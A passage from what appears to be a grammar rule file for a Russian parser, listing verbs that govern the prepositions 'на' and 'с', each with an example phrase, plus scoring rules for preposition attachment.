rus_verbs:погрузиться{}, // погрузиться на большую глубину
rus_verbs:течь{}, // течь на землю
rus_verbs:отбросить{}, // отбросить на землю
rus_verbs:метать{}, // метать на дно
rus_verbs:пустить{}, // пустить на переплавку
rus_verbs:прожить{}, // прожить на пособие
rus_verbs:полететь{}, // полететь на континент
rus_verbs:пропустить{}, // пропустить на сцену
rus_verbs:указывать{}, // указывать на ошибку
rus_verbs:наткнуться{}, // наткнуться на клад
rus_verbs:рвануть{}, // рвануть на юг
rus_verbs:ступать{}, // ступать на землю
rus_verbs:спрыгнуть{}, // спрыгнуть на берег
rus_verbs:заходить{}, // заходить на огонёк
rus_verbs:нырнуть{}, // нырнуть на глубину
rus_verbs:рвануться{}, // рвануться на свободу
rus_verbs:натянуть{}, // натянуть на голову
rus_verbs:забраться{}, // забраться на стол
rus_verbs:помахать{}, // помахать на прощание
rus_verbs:содержать{}, // содержать на спонсорскую помощь
rus_verbs:приезжать{}, // приезжать на праздники
rus_verbs:проникнуть{}, // проникнуть на территорию
rus_verbs:подъехать{}, // подъехать на митинг
rus_verbs:устремиться{}, // устремиться на волю
rus_verbs:посадить{}, // посадить на стул
rus_verbs:ринуться{}, // ринуться на голкипера
rus_verbs:подвигнуть{}, // подвигнуть на подвиг
rus_verbs:отдавать{}, // отдавать на перевоспитание
rus_verbs:отложить{}, // отложить на черный день
rus_verbs:убежать{}, // убежать на танцы
rus_verbs:поднимать{}, // поднимать на верхний этаж
rus_verbs:переходить{}, // переходить на цифровой сигнал
rus_verbs:отослать{}, // отослать на переаттестацию
rus_verbs:отодвинуть{}, // отодвинуть на другую половину стола
rus_verbs:назначить{}, // назначить на должность
rus_verbs:осесть{}, // осесть на дно
rus_verbs:торопиться{}, // торопиться на экзамен
rus_verbs:менять{}, // менять на еду
rus_verbs:доставить{}, // доставить на шестой этаж
rus_verbs:заслать{}, // заслать на проверку
rus_verbs:дуть{}, // дуть на воду
rus_verbs:сослать{}, // сослать на каторгу
rus_verbs:останавливаться{}, // останавливаться на отдых
rus_verbs:сдаваться{}, // сдаваться на милость победителя
rus_verbs:сослаться{}, // сослаться на презумпцию невиновности
rus_verbs:рассердиться{}, // рассердиться на дочь
rus_verbs:кинуть{}, // кинуть на землю
rus_verbs:расположиться{}, // расположиться на ночлег
rus_verbs:осмелиться{}, // осмелиться на подлог
rus_verbs:шептать{}, // шептать на ушко
rus_verbs:уронить{}, // уронить на землю
rus_verbs:откинуть{}, // откинуть на спинку кресла
rus_verbs:перенести{}, // перенести на рабочий стол
rus_verbs:сдаться{}, // сдаться на милость победителя
rus_verbs:светить{}, // светить на дорогу
rus_verbs:мчаться{}, // мчаться на бал
rus_verbs:нестись{}, // нестись на свидание
rus_verbs:поглядывать{}, // поглядывать на экран
rus_verbs:орать{}, // орать на детей
rus_verbs:уложить{}, // уложить на лопатки
rus_verbs:решаться{}, // решаться на поступок
rus_verbs:попадать{}, // попадать на карандаш
rus_verbs:сплюнуть{}, // сплюнуть на землю
rus_verbs:снимать{}, // снимать на телефон
rus_verbs:опоздать{}, // опоздать на работу
rus_verbs:посылать{}, // посылать на проверку
rus_verbs:погнать{}, // погнать на пастбище
rus_verbs:поступать{}, // поступать на кибернетический факультет
rus_verbs:спускаться{}, // спускаться на уровень моря
rus_verbs:усадить{}, // усадить на диван
rus_verbs:проиграть{}, // проиграть на спор
rus_verbs:прилететь{}, // прилететь на фестиваль
rus_verbs:повалиться{}, // повалиться на спину
rus_verbs:огрызнуться{}, // Собака огрызнулась на хозяина
rus_verbs:задавать{}, // задавать на выходные
rus_verbs:запасть{}, // запасть на девочку
rus_verbs:лезть{}, // лезть на забор
rus_verbs:потащить{}, // потащить на выборы
rus_verbs:направляться{}, // направляться на экзамен
rus_verbs:определять{}, // определять на вкус
rus_verbs:поползти{}, // поползти на стену
rus_verbs:поплыть{}, // поплыть на берег
rus_verbs:залезть{}, // залезть на яблоню
rus_verbs:сдать{}, // сдать на мясокомбинат
rus_verbs:приземлиться{}, // приземлиться на дорогу
rus_verbs:лаять{}, // лаять на прохожих
rus_verbs:перевернуть{}, // перевернуть на бок
rus_verbs:ловить{}, // ловить на живца
rus_verbs:отнести{}, // отнести животное на хирургический стол
rus_verbs:плюнуть{}, // плюнуть на условности
rus_verbs:передавать{}, // передавать на проверку
rus_verbs:нанять{}, // Босс нанял на работу еще несколько человек
rus_verbs:разозлиться{}, // Папа разозлился на сына из-за плохих оценок по математике
инфинитив:рассыпаться{вид:несоверш}, // рассыпаться на мелкие детали
инфинитив:рассыпаться{вид:соверш},
глагол:рассыпаться{вид:несоверш},
глагол:рассыпаться{вид:соверш},
деепричастие:рассыпавшись{},
деепричастие:рассыпаясь{},
прилагательное:рассыпавшийся{вид:несоверш},
прилагательное:рассыпавшийся{вид:соверш},
прилагательное:рассыпающийся{},
rus_verbs:зарычать{}, // Медведица зарычала на медвежонка
rus_verbs:призвать{}, // призвать на сборы
rus_verbs:увезти{}, // увезти на дачу
rus_verbs:содержаться{}, // содержаться на пожертвования
rus_verbs:навести{}, // навести на скопление телескоп
rus_verbs:отправляться{}, // отправляться на утилизацию
rus_verbs:улечься{}, // улечься на животик
rus_verbs:налететь{}, // налететь на препятствие
rus_verbs:перевернуться{}, // перевернуться на спину
rus_verbs:улететь{}, // улететь на родину
rus_verbs:ложиться{}, // ложиться на бок
rus_verbs:класть{}, // класть на место
rus_verbs:отреагировать{}, // отреагировать на выступление
rus_verbs:доставлять{}, // доставлять на дом
rus_verbs:отнять{}, // отнять на благо правящей верхушки
rus_verbs:ступить{}, // ступить на землю
rus_verbs:сводить{}, // сводить на концерт знаменитой рок-группы
rus_verbs:унести{}, // унести на работу
rus_verbs:сходить{}, // сходить на концерт
rus_verbs:потратить{}, // потратить на корм и наполнитель для туалета все деньги
rus_verbs:соскочить{}, // соскочить на землю
rus_verbs:пожаловаться{}, // пожаловаться на соседей
rus_verbs:тащить{}, // тащить на замену
rus_verbs:замахать{}, // замахать руками на паренька
rus_verbs:заглядывать{}, // заглядывать на обед
rus_verbs:соглашаться{}, // соглашаться на равный обмен
rus_verbs:плюхнуться{}, // плюхнуться на мягкий пуфик
rus_verbs:увести{}, // увести на осмотр
rus_verbs:успевать{}, // успевать на контрольную работу
rus_verbs:опрокинуть{}, // опрокинуть на себя
rus_verbs:подавать{}, // подавать на апелляцию
rus_verbs:прибежать{}, // прибежать на вокзал
rus_verbs:отшвырнуть{}, // отшвырнуть на замлю
rus_verbs:привлекать{}, // привлекать на свою сторону
rus_verbs:опереться{}, // опереться на палку
rus_verbs:перебраться{}, // перебраться на маленький островок
rus_verbs:уговорить{}, // уговорить на новые траты
rus_verbs:гулять{}, // гулять на спонсорские деньги
rus_verbs:переводить{}, // переводить на другой путь
rus_verbs:заколебаться{}, // заколебаться на один миг
rus_verbs:зашептать{}, // зашептать на ушко
rus_verbs:привстать{}, // привстать на цыпочки
rus_verbs:хлынуть{}, // хлынуть на берег
rus_verbs:наброситься{}, // наброситься на еду
rus_verbs:напасть{}, // повстанцы, напавшие на конвой
rus_verbs:убрать{}, // книга, убранная на полку
rus_verbs:попасть{}, // путешественники, попавшие на ничейную территорию
rus_verbs:засматриваться{}, // засматриваться на девчонок
rus_verbs:застегнуться{}, // застегнуться на все пуговицы
rus_verbs:провериться{}, // провериться на заболевания
rus_verbs:проверяться{}, // проверяться на заболевания
rus_verbs:тестировать{}, // тестировать на профпригодность
rus_verbs:протестировать{}, // протестировать на профпригодность
rus_verbs:уходить{}, // отец, уходящий на работу
rus_verbs:налипнуть{}, // снег, налипший на провода
rus_verbs:налипать{}, // снег, налипающий на провода
rus_verbs:улетать{}, // Многие птицы улетают осенью на юг.
rus_verbs:поехать{}, // она поехала на встречу с заказчиком
rus_verbs:переключать{}, // переключать на резервную линию
rus_verbs:переключаться{}, // переключаться на резервную линию
rus_verbs:подписаться{}, // подписаться на обновление
rus_verbs:нанести{}, // нанести на кожу
rus_verbs:нарываться{}, // нарываться на неприятности
rus_verbs:выводить{}, // выводить на орбиту
rus_verbs:вернуться{}, // вернуться на родину
rus_verbs:возвращаться{}, // возвращаться на родину
прилагательное:падкий{}, // Он падок на деньги.
прилагательное:обиженный{}, // Он обижен на отца.
rus_verbs:косить{}, // Он косит на оба глаза.
rus_verbs:закрыть{}, // Он забыл закрыть дверь на замок.
прилагательное:готовый{}, // Он готов на всякие жертвы.
rus_verbs:говорить{}, // Он говорит на скользкую тему.
прилагательное:глухой{}, // Он глух на одно ухо.
rus_verbs:взять{}, // Он взял ребёнка себе на колени.
rus_verbs:оказывать{}, // Лекарство не оказывало на него никакого действия.
rus_verbs:вести{}, // Лестница ведёт на третий этаж.
rus_verbs:уполномочивать{}, // уполномочивать на что-либо
глагол:спешить{ вид:несоверш }, // Я спешу на поезд.
rus_verbs:брать{}, // Я беру всю ответственность на себя.
rus_verbs:произвести{}, // Это произвело на меня глубокое впечатление.
rus_verbs:употребить{}, // Эти деньги можно употребить на ремонт фабрики.
rus_verbs:наводить{}, // Эта песня наводит на меня сон и скуку.
rus_verbs:разбираться{}, // Эта машина разбирается на части.
rus_verbs:оказать{}, // Эта книга оказала на меня большое влияние.
rus_verbs:разбить{}, // Учитель разбил учеников на несколько групп.
rus_verbs:отразиться{}, // Усиленная работа отразилась на его здоровье.
rus_verbs:перегрузить{}, // Уголь надо перегрузить на другое судно.
rus_verbs:делиться{}, // Тридцать делится на пять без остатка.
rus_verbs:удаляться{}, // Суд удаляется на совещание.
rus_verbs:показывать{}, // Стрелка компаса всегда показывает на север.
rus_verbs:сохранить{}, // Сохраните это на память обо мне.
rus_verbs:уезжать{}, // Сейчас все студенты уезжают на экскурсию.
rus_verbs:лететь{}, // Самолёт летит на север.
rus_verbs:бить{}, // Ружьё бьёт на пятьсот метров.
// rus_verbs:прийтись{}, // Пятое число пришлось на субботу.
rus_verbs:вынести{}, // Они вынесли из лодки на берег все вещи.
rus_verbs:смотреть{}, // Она смотрит на нас из окна.
rus_verbs:отдать{}, // Она отдала мне деньги на сохранение.
rus_verbs:налюбоваться{}, // Не могу налюбоваться на картину.
rus_verbs:любоваться{}, // гости любовались на картину
rus_verbs:попробовать{}, // Дайте мне попробовать на ощупь.
прилагательное:действительный{}, // Прививка оспы действительна только на три года.
rus_verbs:спуститься{}, // На город спустился смог
прилагательное:нечистый{}, // Он нечист на руку.
прилагательное:неспособный{}, // Он неспособен на такую низость.
прилагательное:злой{}, // кот очень зол на хозяина
rus_verbs:пойти{}, // Девочка не пошла на урок физультуры
rus_verbs:прибывать{}, // мой поезд прибывает на первый путь
rus_verbs:застегиваться{}, // пальто застегивается на двадцать одну пуговицу
rus_verbs:идти{}, // Дело идёт на лад.
rus_verbs:лазить{}, // Он лазил на чердак.
rus_verbs:поддаваться{}, // Он легко поддаётся на уговоры.
// rus_verbs:действовать{}, // действующий на нервы
rus_verbs:выходить{}, // Балкон выходит на площадь.
rus_verbs:работать{}, // Время работает на нас.
глагол:написать{aux stress="напис^ать"}, // Он написал музыку на слова Пушкина.
rus_verbs:бросить{}, // Они бросили все силы на строительство.
// глагол:разрезать{aux stress="разр^езать"}, глагол:разрезать{aux stress="разрез^ать"}, // Она разрезала пирог на шесть кусков.
rus_verbs:броситься{}, // Она радостно бросилась мне на шею.
rus_verbs:оправдать{}, // Она оправдала неявку на занятия болезнью.
rus_verbs:ответить{}, // Она не ответила на мой поклон.
rus_verbs:нашивать{}, // Она нашивала заплату на локоть.
rus_verbs:молиться{}, // Она молится на свою мать.
rus_verbs:запереть{}, // Она заперла дверь на замок.
rus_verbs:заявить{}, // Она заявила свои права на наследство.
rus_verbs:уйти{}, // Все деньги ушли на путешествие.
rus_verbs:вступить{}, // Водолаз вступил на берег.
rus_verbs:сойти{}, // Ночь сошла на землю.
rus_verbs:приехать{}, // Мы приехали на вокзал слишком рано.
rus_verbs:рыдать{}, // Не рыдай так безумно над ним.
rus_verbs:подписать{}, // Не забудьте подписать меня на газету.
rus_verbs:держать{}, // Наш пароход держал курс прямо на север.
rus_verbs:свезти{}, // На выставку свезли экспонаты со всего мира.
rus_verbs:ехать{}, // Мы сейчас едем на завод.
rus_verbs:выбросить{}, // Волнами лодку выбросило на берег.
ГЛ_ИНФ(сесть), // сесть на снег
ГЛ_ИНФ(записаться),
ГЛ_ИНФ(положить) // положи книгу на стол
}
#endregion VerbList
// Чтобы разрешить связывание в паттернах типа: залить на youtube
fact гл_предл
{
if context { Гл_НА_Вин предлог:на{} @regex("[a-z]+[0-9]*") }
then return true
}
fact гл_предл
{
if context { глагол:купить{} предлог:на{} 'деньги'{падеж:вин} }
then return true
}
fact гл_предл
{
if context { Гл_НА_Вин предлог:на{} *:*{ падеж:вин } }
then return true
}
// смещаться на несколько миллиметров
fact гл_предл
{
if context { Гл_НА_Вин предлог:на{} наречие:*{} }
then return true
}
// партия взяла на себя нереалистичные обязательства
fact гл_предл
{
if context { глагол:взять{} предлог:на{} 'себя'{падеж:вин} }
then return true
}
#endregion ВИНИТЕЛЬНЫЙ
// Все остальные варианты с предлогом 'НА' по умолчанию запрещаем.
fact гл_предл
{
if context { * предлог:на{} *:*{ падеж:предл } }
then return false,-3
}
fact гл_предл
{
if context { * предлог:на{} *:*{ падеж:мест } }
then return false,-3
}
fact гл_предл
{
if context { * предлог:на{} *:*{ падеж:вин } }
then return false,-4
}
// Этот вариант нужен для обработки конструкций с числительными:
// Президентские выборы разделили Венесуэлу на два непримиримых лагеря
fact гл_предл
{
if context { * предлог:на{} *:*{ падеж:род } }
then return false,-4
}
// Продавать на eBay
fact гл_предл
{
if context { * предлог:на{} * }
then return false,-6
}
#endregion Предлог_НА
#region Предлог_С
// ------------- ПРЕДЛОГ 'С' -----------------
// У этого предлога предпочтительная семантика привязывает его обычно к существительному.
// Поэтому запрещаем по умолчанию его привязку к глаголам, а разрешенные глаголы перечислим.
#region ТВОРИТЕЛЬНЫЙ
wordentry_set Гл_С_Твор={
rus_verbs:помогать{}, // будет готов помогать врачам в онкологическом центре с постановкой верных диагнозов
rus_verbs:перепихнуться{}, // неужели ты не хочешь со мной перепихнуться
rus_verbs:забраться{},
rus_verbs:ДРАТЬСЯ{}, // Мои же собственные ратники забросали бы меня гнилой капустой, и мне пришлось бы драться с каждым рыцарем в стране, чтобы доказать свою смелость. (ДРАТЬСЯ/БИТЬСЯ/ПОДРАТЬСЯ)
rus_verbs:БИТЬСЯ{}, //
rus_verbs:ПОДРАТЬСЯ{}, //
прилагательное:СХОЖИЙ{}, // Не был ли он схожим с одним из живых языков Земли (СХОЖИЙ)
rus_verbs:ВСТУПИТЬ{}, // Он намеревался вступить с Вольфом в ближний бой. (ВСТУПИТЬ)
rus_verbs:КОРРЕЛИРОВАТЬ{}, // Это коррелирует с традиционно сильными направлениями московской математической школы. (КОРРЕЛИРОВАТЬ)
rus_verbs:УВИДЕТЬСЯ{}, // Он проигнорирует истерические протесты жены и увидится сначала с доктором, а затем с психотерапевтом (УВИДЕТЬСЯ)
rus_verbs:ОЧНУТЬСЯ{}, // Когда он очнулся с болью в левой стороне черепа, у него возникло пугающее ощущение. (ОЧНУТЬСЯ)
прилагательное:сходный{}, // Мозг этих существ сходен по размерам с мозгом динозавра
rus_verbs:накрыться{}, // Было холодно, и он накрылся с головой одеялом.
rus_verbs:РАСПРЕДЕЛИТЬ{}, // Бюджет распределят с участием горожан (РАСПРЕДЕЛИТЬ)
rus_verbs:НАБРОСИТЬСЯ{}, // Пьяный водитель набросился с ножом на сотрудников ГИБДД (НАБРОСИТЬСЯ)
rus_verbs:БРОСИТЬСЯ{}, // она со смехом бросилась прочь (БРОСИТЬСЯ)
rus_verbs:КОНТАКТИРОВАТЬ{}, // Электронным магазинам стоит контактировать с клиентами (КОНТАКТИРОВАТЬ)
rus_verbs:ВИДЕТЬСЯ{}, // Тогда мы редко виделись друг с другом
rus_verbs:сесть{}, // сел в него с дорожной сумкой , наполненной наркотиками
rus_verbs:купить{}, // Мы купили с ним одну и ту же книгу
rus_verbs:ПРИМЕНЯТЬ{}, // Меры по стимулированию спроса в РФ следует применять с осторожностью (ПРИМЕНЯТЬ)
rus_verbs:УЙТИ{}, // ты мог бы уйти со мной (УЙТИ)
rus_verbs:ЖДАТЬ{}, // С нарастающим любопытством ждем результатов аудита золотых хранилищ европейских и американских центробанков (ЖДАТЬ)
rus_verbs:ГОСПИТАЛИЗИРОВАТЬ{}, // Мэра Твери, участвовавшего в спартакиаде, госпитализировали с инфарктом (ГОСПИТАЛИЗИРОВАТЬ)
rus_verbs:ЗАХЛОПНУТЬСЯ{}, // она захлопнулась со звоном (ЗАХЛОПНУТЬСЯ)
rus_verbs:ОТВЕРНУТЬСЯ{}, // она со вздохом отвернулась (ОТВЕРНУТЬСЯ)
rus_verbs:отправить{}, // вы можете отправить со мной человека
rus_verbs:выступать{}, // Градоначальник , выступая с обзором основных городских событий , поведал об этом депутатам
rus_verbs:ВЫЕЗЖАТЬ{}, // заключенные сами шьют куклы и иногда выезжают с представлениями в детский дом неподалеку (ВЫЕЗЖАТЬ С твор)
rus_verbs:ПОКОНЧИТЬ{}, // со всем этим покончено (ПОКОНЧИТЬ С)
rus_verbs:ПОБЕЖАТЬ{}, // Дмитрий побежал со всеми (ПОБЕЖАТЬ С)
прилагательное:несовместимый{}, // характер ранений был несовместим с жизнью (НЕСОВМЕСТИМЫЙ С)
rus_verbs:ПОСЕТИТЬ{}, // Его кабинет местные тележурналисты посетили со скрытой камерой (ПОСЕТИТЬ С)
rus_verbs:СЛОЖИТЬСЯ{}, // сами банки принимают меры по урегулированию сложившейся с вкладчиками ситуации (СЛОЖИТЬСЯ С)
rus_verbs:ЗАСТАТЬ{}, // Молодой человек убил пенсионера , застав его в постели с женой (ЗАСТАТЬ С)
rus_verbs:ОЗНАКАМЛИВАТЬСЯ{}, // при заполнении заявления владельцы судов ознакамливаются с режимом (ОЗНАКАМЛИВАТЬСЯ С)
rus_verbs:СООБРАЗОВЫВАТЬ{}, // И все свои задачи мы сообразовываем с этим пониманием (СООБРАЗОВЫВАТЬ С)
rus_verbs:СВЫКАТЬСЯ{},
rus_verbs:стаскиваться{},
rus_verbs:спиливаться{},
rus_verbs:КОНКУРИРОВАТЬ{}, // Бедные и менее развитые страны не могут конкурировать с этими субсидиями (КОНКУРИРОВАТЬ С)
rus_verbs:ВЫРВАТЬСЯ{}, // тот с трудом вырвался (ВЫРВАТЬСЯ С твор)
rus_verbs:СОБРАТЬСЯ{}, // нужно собраться с силами (СОБРАТЬСЯ С)
rus_verbs:УДАВАТЬСЯ{}, // удавалось это с трудом (УДАВАТЬСЯ С)
rus_verbs:РАСПАХНУТЬСЯ{}, // дверь с треском распахнулась (РАСПАХНУТЬСЯ С)
rus_verbs:НАБЛЮДАТЬ{}, // Олег наблюдал с любопытством (НАБЛЮДАТЬ С)
rus_verbs:ПОТЯНУТЬ{}, // затем с силой потянул (ПОТЯНУТЬ С)
rus_verbs:КИВНУТЬ{}, // Питер с трудом кивнул (КИВНУТЬ С)
rus_verbs:СГЛОТНУТЬ{}, // Борис с трудом сглотнул (СГЛОТНУТЬ С)
rus_verbs:ЗАБРАТЬ{}, // забрать его с собой (ЗАБРАТЬ С)
rus_verbs:ОТКРЫТЬСЯ{}, // дверь с шипением открылась (ОТКРЫТЬСЯ С)
rus_verbs:ОТОРВАТЬ{}, // с усилием оторвал взгляд (ОТОРВАТЬ С твор)
rus_verbs:ОГЛЯДЕТЬСЯ{}, // Рома с любопытством огляделся (ОГЛЯДЕТЬСЯ С)
rus_verbs:ФЫРКНУТЬ{}, // турок фыркнул с отвращением (ФЫРКНУТЬ С)
rus_verbs:согласиться{}, // с этим согласились все (согласиться с)
rus_verbs:ПОСЫПАТЬСЯ{}, // с грохотом посыпались камни (ПОСЫПАТЬСЯ С твор)
rus_verbs:ВЗДОХНУТЬ{}, // Алиса вздохнула с облегчением (ВЗДОХНУТЬ С)
rus_verbs:ОБЕРНУТЬСЯ{}, // та с удивлением обернулась (ОБЕРНУТЬСЯ С)
rus_verbs:ХМЫКНУТЬ{}, // Алексей хмыкнул с сомнением (ХМЫКНУТЬ С твор)
rus_verbs:ВЫЕХАТЬ{}, // они выехали с рассветом (ВЫЕХАТЬ С твор)
rus_verbs:ВЫДОХНУТЬ{}, // Владимир выдохнул с облегчением (ВЫДОХНУТЬ С)
rus_verbs:УХМЫЛЬНУТЬСЯ{}, // Кеша ухмыльнулся с сомнением (УХМЫЛЬНУТЬСЯ С)
rus_verbs:НЕСТИСЬ{}, // тот несся с криком (НЕСТИСЬ С твор)
rus_verbs:ПАДАТЬ{}, // падают с глухим стуком (ПАДАТЬ С твор)
rus_verbs:ТВОРИТЬСЯ{}, // странное творилось с глазами (ТВОРИТЬСЯ С твор)
rus_verbs:УХОДИТЬ{}, // с ними уходили эльфы (УХОДИТЬ С твор)
rus_verbs:СКАКАТЬ{}, // скакали тут с топорами (СКАКАТЬ С твор)
rus_verbs:ЕСТЬ{}, // здесь едят с зеленью (ЕСТЬ С твор)
rus_verbs:ПОЯВИТЬСЯ{}, // с рассветом появились птицы (ПОЯВИТЬСЯ С твор)
rus_verbs:ВСКОЧИТЬ{}, // Олег вскочил с готовностью (ВСКОЧИТЬ С твор)
rus_verbs:БЫТЬ{}, // хочу быть с тобой (БЫТЬ С твор)
rus_verbs:ПОКАЧАТЬ{}, // с сомнением покачал головой. (ПОКАЧАТЬ С СОМНЕНИЕМ)
rus_verbs:ВЫРУГАТЬСЯ{}, // капитан с чувством выругался (ВЫРУГАТЬСЯ С ЧУВСТВОМ)
rus_verbs:ОТКРЫТЬ{}, // с трудом открыл глаза (ОТКРЫТЬ С ТРУДОМ, таких много)
rus_verbs:ПОЛУЧИТЬСЯ{}, // забавно получилось с ним (ПОЛУЧИТЬСЯ С)
rus_verbs:ВЫБЕЖАТЬ{}, // старый выбежал с копьем (ВЫБЕЖАТЬ С)
rus_verbs:ГОТОВИТЬСЯ{}, // Большинство компотов готовится с использованием сахара (ГОТОВИТЬСЯ С)
rus_verbs:ПОДИСКУТИРОВАТЬ{}, // я бы подискутировал с Андрюхой (ПОДИСКУТИРОВАТЬ С)
rus_verbs:ТУСИТЬ{}, // кто тусил со Светкой (ТУСИТЬ С)
rus_verbs:БЕЖАТЬ{}, // куда она бежит со всеми? (БЕЖАТЬ С твор)
rus_verbs:ГОРЕТЬ{}, // ты горел со своим кораблем? (ГОРЕТЬ С)
rus_verbs:ВЫПИТЬ{}, // хотите выпить со мной чаю? (ВЫПИТЬ С)
rus_verbs:МЕНЯТЬСЯ{}, // Я меняюсь с товарищем книгами. (МЕНЯТЬСЯ С)
rus_verbs:ВАЛЯТЬСЯ{}, // Он уже неделю валяется с гриппом. (ВАЛЯТЬСЯ С)
rus_verbs:ПИТЬ{}, // вы даже будете пить со мной пиво. (ПИТЬ С)
инфинитив:кристаллизоваться{ вид:соверш }, // После этого пересыщенный раствор кристаллизуется с образованием кристаллов сахара.
инфинитив:кристаллизоваться{ вид:несоверш },
глагол:кристаллизоваться{ вид:соверш },
глагол:кристаллизоваться{ вид:несоверш },
rus_verbs:ПООБЩАТЬСЯ{}, // пообщайся с Борисом (ПООБЩАТЬСЯ С)
rus_verbs:ОБМЕНЯТЬСЯ{}, // Миша обменялся с Петей марками (ОБМЕНЯТЬСЯ С)
rus_verbs:ПРОХОДИТЬ{}, // мы с тобой сегодня весь день проходили с вещами. (ПРОХОДИТЬ С)
rus_verbs:ВСТАТЬ{}, // Он занимался всю ночь и встал с головной болью. (ВСТАТЬ С)
rus_verbs:ПОВРЕМЕНИТЬ{}, // МВФ рекомендует Ирландии повременить с мерами экономии (ПОВРЕМЕНИТЬ С)
rus_verbs:ГЛЯДЕТЬ{}, // Её глаза глядели с мягкой грустью. (ГЛЯДЕТЬ С + твор)
rus_verbs:ВЫСКОЧИТЬ{}, // Зачем ты выскочил со своим замечанием? (ВЫСКОЧИТЬ С)
rus_verbs:НЕСТИ{}, // плот несло со страшной силой. (НЕСТИ С)
rus_verbs:приближаться{}, // стена приближалась со страшной быстротой. (приближаться с)
rus_verbs:заниматься{}, // После уроков я занимался с отстающими учениками. (заниматься с)
rus_verbs:разработать{}, // Этот лекарственный препарат разработан с использованием рецептов традиционной китайской медицины. (разработать с)
rus_verbs:вестись{}, // Разработка месторождения ведется с использованием большого количества техники. (вестись с)
rus_verbs:конфликтовать{}, // Маша конфликтует с Петей (конфликтовать с)
rus_verbs:мешать{}, // мешать воду с мукой (мешать с)
rus_verbs:иметь{}, // мне уже приходилось несколько раз иметь с ним дело.
rus_verbs:синхронизировать{}, // синхронизировать с эталонным генератором
rus_verbs:засинхронизировать{}, // засинхронизировать с эталонным генератором
rus_verbs:синхронизироваться{}, // синхронизироваться с эталонным генератором
rus_verbs:засинхронизироваться{}, // засинхронизироваться с эталонным генератором
rus_verbs:стирать{}, // стирать с мылом рубашку в тазу
rus_verbs:прыгать{}, // парашютист прыгает с парашютом
rus_verbs:выступить{}, // Он выступил с приветствием съезду.
rus_verbs:ходить{}, // В чужой монастырь со своим уставом не ходят.
rus_verbs:отозваться{}, // Он отозвался об этой книге с большой похвалой.
rus_verbs:отзываться{}, // Он отзывается об этой книге с большой похвалой.
rus_verbs:вставать{}, // он встаёт с зарёй
rus_verbs:мирить{}, // Его ум мирил всех с его дурным характером.
rus_verbs:продолжаться{}, // стрельба тем временем продолжалась с прежней точностью.
rus_verbs:договориться{}, // мы договоримся с вами
rus_verbs:побыть{}, // он хотел побыть с тобой
rus_verbs:расти{}, // Мировые производственные мощности растут с беспрецедентной скоростью
rus_verbs:вязаться{}, // вязаться с фактами
rus_verbs:отнестись{}, // отнестись к животным с сочуствием
rus_verbs:относиться{}, // относиться с пониманием
rus_verbs:пойти{}, // Спектакль пойдёт с участием известных артистов.
rus_verbs:бракосочетаться{}, // Потомственный кузнец бракосочетался с разорившейся графиней
rus_verbs:гулять{}, // бабушка гуляет с внуком
rus_verbs:разбираться{}, // разбираться с задачей
rus_verbs:сверить{}, // Данные были сверены с эталонными значениями
rus_verbs:делать{}, // Что делать со старым телефоном
rus_verbs:осматривать{}, // осматривать с удивлением
rus_verbs:обсудить{}, // обсудить с приятелем прохождение уровня в новой игре
rus_verbs:попрощаться{}, // попрощаться с талантливым актером
rus_verbs:задремать{}, // задремать с кружкой чая в руке
rus_verbs:связать{}, // связать катастрофу с действиями конкурентов
rus_verbs:носиться{}, // носиться с безумной идеей
rus_verbs:кончать{}, // кончать с собой
rus_verbs:обмениваться{}, // обмениваться с собеседниками
rus_verbs:переговариваться{}, // переговариваться с маяком
rus_verbs:общаться{}, // общаться с полицией
rus_verbs:завершить{}, // завершить с ошибкой
rus_verbs:обняться{}, // обняться с подругой
rus_verbs:сливаться{}, // сливаться с фоном
rus_verbs:смешаться{}, // смешаться с толпой
rus_verbs:договариваться{}, // договариваться с потерпевшим
rus_verbs:обедать{}, // обедать с гостями
rus_verbs:сообщаться{}, // сообщаться с подземной рекой
rus_verbs:сталкиваться{}, // сталкиваться со стаей птиц
rus_verbs:читаться{}, // читаться с трудом
rus_verbs:смириться{}, // смириться с утратой
rus_verbs:разделить{}, // разделить с другими ответственность
rus_verbs:роднить{}, // роднить с медведем
rus_verbs:медлить{}, // медлить с ответом
rus_verbs:скрестить{}, // скрестить с ужом
rus_verbs:покоиться{}, // покоиться с миром
rus_verbs:делиться{}, // делиться с друзьями
rus_verbs:познакомить{}, // познакомить с Олей
rus_verbs:порвать{}, // порвать с Олей
rus_verbs:завязать{}, // завязать с Олей знакомство
rus_verbs:суетиться{}, // суетиться с изданием романа
rus_verbs:соединиться{}, // соединиться с сервером
rus_verbs:справляться{}, // справляться с нуждой
rus_verbs:замешкаться{}, // замешкаться с ответом
rus_verbs:поссориться{}, // поссориться с подругой
rus_verbs:ссориться{}, // ссориться с друзьями
rus_verbs:торопить{}, // торопить с решением
rus_verbs:поздравить{}, // поздравить с победой
rus_verbs:проститься{}, // проститься с человеком
rus_verbs:поработать{}, // поработать с деревом
rus_verbs:приключиться{}, // приключиться с Колей
rus_verbs:сговориться{}, // сговориться с Ваней
rus_verbs:отъехать{}, // отъехать с ревом
rus_verbs:объединять{}, // объединять с другой кампанией
rus_verbs:употребить{}, // употребить с молоком
rus_verbs:перепутать{}, // перепутать с другой книгой
rus_verbs:запоздать{}, // запоздать с ответом
rus_verbs:подружиться{}, // подружиться с другими детьми
rus_verbs:дружить{}, // дружить с Сережей
rus_verbs:поравняться{}, // поравняться с финишной чертой
rus_verbs:ужинать{}, // ужинать с гостями
rus_verbs:расставаться{}, // расставаться с приятелями
rus_verbs:завтракать{}, // завтракать с семьей
rus_verbs:объединиться{}, // объединиться с соседями
rus_verbs:сменяться{}, // сменяться с напарником
rus_verbs:соединить{}, // соединить с сетью
rus_verbs:разговориться{}, // разговориться с охранником
rus_verbs:преподнести{}, // преподнести с помпой
rus_verbs:напечатать{}, // напечатать с картинками
rus_verbs:соединять{}, // соединять с сетью
rus_verbs:расправиться{}, // расправиться с беззащитным человеком
rus_verbs:распрощаться{}, // распрощаться с деньгами
rus_verbs:сравнить{}, // сравнить с конкурентами
rus_verbs:ознакомиться{}, // ознакомиться с выступлением
инфинитив:сочетаться{ вид:несоверш }, глагол:сочетаться{ вид:несоверш }, // сочетаться с сумочкой
деепричастие:сочетаясь{}, прилагательное:сочетающийся{}, прилагательное:сочетавшийся{},
rus_verbs:изнасиловать{}, // изнасиловать с применением чрезвычайного насилия
rus_verbs:прощаться{}, // прощаться с боевым товарищем
rus_verbs:сравнивать{}, // сравнивать с конкурентами
rus_verbs:складывать{}, // складывать с весом упаковки
rus_verbs:повестись{}, // повестись с ворами
rus_verbs:столкнуть{}, // столкнуть с отбойником
rus_verbs:переглядываться{}, // переглядываться с соседом
